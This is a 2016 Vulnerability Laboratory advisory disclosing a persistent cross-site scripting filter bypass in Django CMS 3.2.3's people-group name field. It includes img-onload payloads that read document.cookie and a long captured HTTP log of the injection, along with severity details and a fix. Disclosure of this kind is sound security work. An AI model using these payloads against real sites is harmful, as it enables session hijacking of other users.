Document Title:
===============
Django CMS v3.2.3 - Filter Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1821


Release Date:
=============
2016-04-14


Vulnerability Laboratory ID (VL-ID):
====================================
1821


Common Vulnerability Scoring System:
====================================
3.6


Product & Service Introduction:
===============================
django CMS is a modern web publishing platform built with Django, the
web application framework for perfectionists with deadlines.
django CMS offers out-of-the-box support for the common features you’d
expect from a CMS, but can also be easily customised and
extended by developers to create a site that is tailored to their
precise needs.

(Copy of the Homepage: http://docs.django-cms.org/en/3.2.3/index.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an
application-side vulnerability in the Django v3.2.3 Content Management
System.


Vulnerability Disclosure Timeline:
==================================
2016-04-14: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Divio AG
Product: Django Framework - Content Management System 3.2.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official Django v3.2.3 Content Management System.
The security vulnerability allows remote attackers or privileged user
accounts to inject own malicious script codes to the
application-side of the vulnerable modules web context.

The vulnerability has been located in the `people-group-name-1
cms-render-model (people-group-detail)` value of the
`/en/footer/people/group/slat/` module POST method request. Remote
attackers are able to inject own malicious script
code to the group name input to provoke a persistent execution. The
injection point is the group add module and the
execution point is the `./people/group/slat/` path. The attacker vector
of the vulnerability is persistent and request
method to inject is POST.

The filter validation of the group input disallows the usage of iframes
or script code tags. The img tag with source
and onload alert (document.cookie / document.domain) allows to bypass
the filter validation of the django cms. To inject
a splitted char inject is required. The second tag executes the context
and bypasses the filter validation of the cms.

The security risk of the vulnerability is estimated as medium with a
cvss (common vulnerability scoring system) count of 3.6.
Exploitation of the vulnerability requires a low privileged
web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected or
connected application modules.

Request Method(s):
                [+] POST

Vulnerable Module(s):
                [+] Groups (Add)

Vulnerable Parameter(s):
                [+] people-group-name-1 - cms-render-model
(people-group-detail)

Affected Module(s):
                [+] Group List


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers and privileged
user accounts with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.

PoC: Payload(s)
">"%20"=""><img%20src=a onload=alert(document.domain)<
">"%20"=""><img%20src=a onload=alert(document.cookie)<


PoC: Source (people-group-name-1 cms-render-model)
    <div class="aldryn aldryn-people aldryn-group-detail">
        <div class="cms-placeholder cms-placeholder-129"></div>
        <h2><div class="cms-plugin cms-plugin-aldryn_people-group-name-1
cms-render-model">"><[PERSISTENT INJECTED SCRIPT CODE!!!])<</div></h2>
        <div class="cms-placeholder cms-placeholder-131"></div>
    </div>


Status: 302[FOUND]
POST
http://django.localhost:8080/en/admin/aldryn_people/group/add/?language=en
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des
Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0]
     
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
     
Referer[http://django.localhost:8080/en/admin/aldryn_people/group/add/?language=en]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------11444153422927
Content-Disposition: form-data; name="csrfmiddlewaretoken"
xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI
-----------------------------11444153422927
Content-Disposition: form-data; name="en"
-----------------------------11444153422927
Content-Disposition: form-data; name="name"
[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]
-----------------------------11444153422927
Content-Disposition: form-data; name="slug"
[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]
-----------------------------11444153422927
Content-Disposition: form-data; name="description"
[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]
-----------------------------11444153422927
Content-Disposition: form-data; name="phone"
1337
-----------------------------11444153422927
Content-Disposition: form-data; name="fax"
1337
-----------------------------11444153422927
Content-Disposition: form-data; name="email"
-----------------------------11444153422927
Content-Disposition: form-data; name="website"
-----------------------------11444153422927
Content-Disposition: form-data; name="address"
-----------------------------11444153422927
Content-Disposition: form-data; name="postal_code"
-----------------------------11444153422927
Content-Disposition: form-data; name="city"
-----------------------------11444153422927
Content-Disposition: form-data; name="_save"
Save
-----------------------------11444153422927--]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[4]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:20 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[6]
      X-Proxy-Request-Forwarded[6]
      X-Proxy-Response-Received[96]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:20:20 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:20:20 GMT]
      Location[http://django.localhost:8080/en/admin/aldryn_people/group/]
      Cache-Control[max-age=0]
      Content-Type[text/html; charset=utf-8]
      Set-Cookie[sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6;
expires=Fri, 22-Apr-2016 20:20:20 GMT; Max-Age=1209600; Path=/
messages="b11cb8f5979db37174caeca85e61810b42b79d2a$[["__json_message"540542554"The
Group ""><iframe src=a onload=alert(document.domain)<   "><iframe src=a
onload=alert(document.domain)<" was added successfully."]]"; Path=/]
-
Status: 200[OK]
GET http://django.localhost:8080/en/admin/aldryn_people/group/ Load
Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  LOAD_INITIAL_DOCUMENT_URI  ]
Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0]
     
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
     
Referer[http://django.localhost:8080/en/admin/aldryn_people/group/add/?language=en]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en;
messages="b11cb8f5979db37174caeca85e61810b42b79d2a$[["__json_message"540542554"The
Group ""><iframe src=a onload=alert(document.domain)<   "><iframe src=a
onload=alert(document.domain)<" was added successfully."]]"]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:20 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[3]
      X-Proxy-Request-Forwarded[3]
      X-Proxy-Response-Received[62]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:20:20 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:20:20 GMT]
      Cache-Control[max-age=0]
      Content-Type[text/html; charset=utf-8]
      Set-Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;
expires=Fri, 07-Apr-2017 20:20:20 GMT; Max-Age=31449600; Path=/
messages=; expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/]
-
Status: 301[MOVED PERMANENTLY]
GET
http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/[PERSISTENT
INJECTED SCRIPT CODE!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des
Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0]
     
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
     
Referer[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:20 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[3]
      X-Proxy-Request-Forwarded[3]
      X-Proxy-Response-Received[21]
      Content-Type[text/html; charset=utf-8]
     
Location[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/a/]
      Content-Language[en]
-
Status: 200[OK]
GET http://django.localhost:8080/en/admin/cms/page/resolve/?model=&pk=
Load Flags[LOAD_BACKGROUND  LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des
Inhalts[-1] Mime Type[text/plain]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      X-Requested-With[XMLHttpRequest]
     
Referer[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
      Connection[keep-alive]
      If-Modified-Since[Fri, 08 Apr 2016 20:19:26 GMT]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:20 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[2]
      X-Proxy-Request-Forwarded[2]
      X-Proxy-Response-Received[43]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:20:20 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:20:20 GMT]
      Cache-Control[max-age=0]
      Content-Type[text/plain]
      Set-Cookie[sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6;
expires=Fri, 22-Apr-2016 20:20:20 GMT; Max-Age=1209600; Path=/]
-
Status: pending[]
GET
http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/[PERSISTENT
INJECTED SCRIPT CODE!]/ Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  ]
Größe des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0]
     
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
     
Referer[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
-
Status: 200[OK]
GET http://django.localhost:8080/en/footer/people/group/slat/ Load
Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des
Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0]
     
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
     
Referer[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:21 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[3]
      X-Proxy-Request-Forwarded[3]
      X-Proxy-Response-Received[449]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:20:21 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:20:21 GMT]
      Cache-Control[max-age=0]
      Content-Type[text/html; charset=utf-8]
      Set-Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;
expires=Fri, 07-Apr-2017 20:20:21 GMT; Max-Age=31449600; Path=/]
-
Status: 301[MOVED PERMANENTLY]
GET http://django.localhost:8080/en/footer/people/group/slat/[PERSISTENT
INJECTED SCRIPT CODE!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des
Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0]
     
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://django.localhost:8080/en/footer/people/group/slat/]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:22 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[4]
      X-Proxy-Request-Forwarded[4]
      X-Proxy-Response-Received[21]
      Content-Type[text/html; charset=utf-8]
      Location[http://django.localhost:8080/en/footer/people/group/slat/a/]
      Content-Language[en]


-Status: 200[OK]
GET http://django.localhost:8080/en/footer/people/group/slat/[PERSISTENT
INJECTED SCRIPT CODE!]/ Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  ]
Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0]
     
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://django.localhost:8080/en/footer/people/group/slat/]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:22 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[2]
      X-Proxy-Request-Forwarded[2]
      X-Proxy-Response-Received[43]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:20:22 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:20:22 GMT]
      Cache-Control[max-age=0]
      Content-Type[text/html]


Reference(s):
http://django.localhost:8080/
http://django.localhost:8080/en/
http://django.localhost:8080/en/admin/
http://django.localhost:8080/en/footer/
http://django.localhost:8080/en/admin/cms/
http://django.localhost:8080/en/footer/people/
http://django.localhost:8080/en/admin/cms/page/
http://django.localhost:8080/en/footer/people/group/
http://django.localhost:8080/en/admin/cms/page/resolve/
http://django.localhost:8080/en/footer/people/group/slat/


Solution - Fix & Patch:
=======================
The vulnerability can be resolved by a secure parse and encode of the
vulnerable marked values in the add POST method request.
Encode and filter as well the cms-messages-inner and cms-messages output
values in information module. Disallow usage of special
chars and escapte the entries to prevent further application-side script
code injection attacks.


Security Risk:
==============
The security risk of the application-side input validation web
vulnerability in the django cms is estimated as medium. (CVSS 3.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied,
including the warranties of merchantability and capability for a
particular purpose. Vulnerability-Lab or its suppliers are not liable in
any case of damage,
including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers
have been advised
of the possibility of such damages. Some states do not allow the
exclusion or limitation of liability for consequential or incidental
damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to
break any licenses, policies, deface websites, hack into databases or
trade with stolen data.

Domains:    www.vulnerability-lab.com         - www.vuln-lab.com        
                - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com     -
research@vulnerability-lab.com                 - admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com     -
vulnerability-lab.com/contact.php                 -
evolution-sec.com/contact
Social:        twitter.com/vuln_lab        -
facebook.com/VulnerabilityLab                 -
youtube.com/user/vulnerability0lab
Feeds:        vulnerability-lab.com/rss/rss.php     -
vulnerability-lab.com/rss/rss_upcoming.php             -
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php     -
vulnerability-lab.com/list-of-bug-bounty-programs.php     -
vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory. Permission to
electronically
redistribute this alert in its unmodified form is granted. All other
rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team
& the specific
authors or managers. To record, list, modify, use or edit our material
contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

                    Copyright © 2016 | Vulnerability Laboratory -
[Evolution Security GmbH]™




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com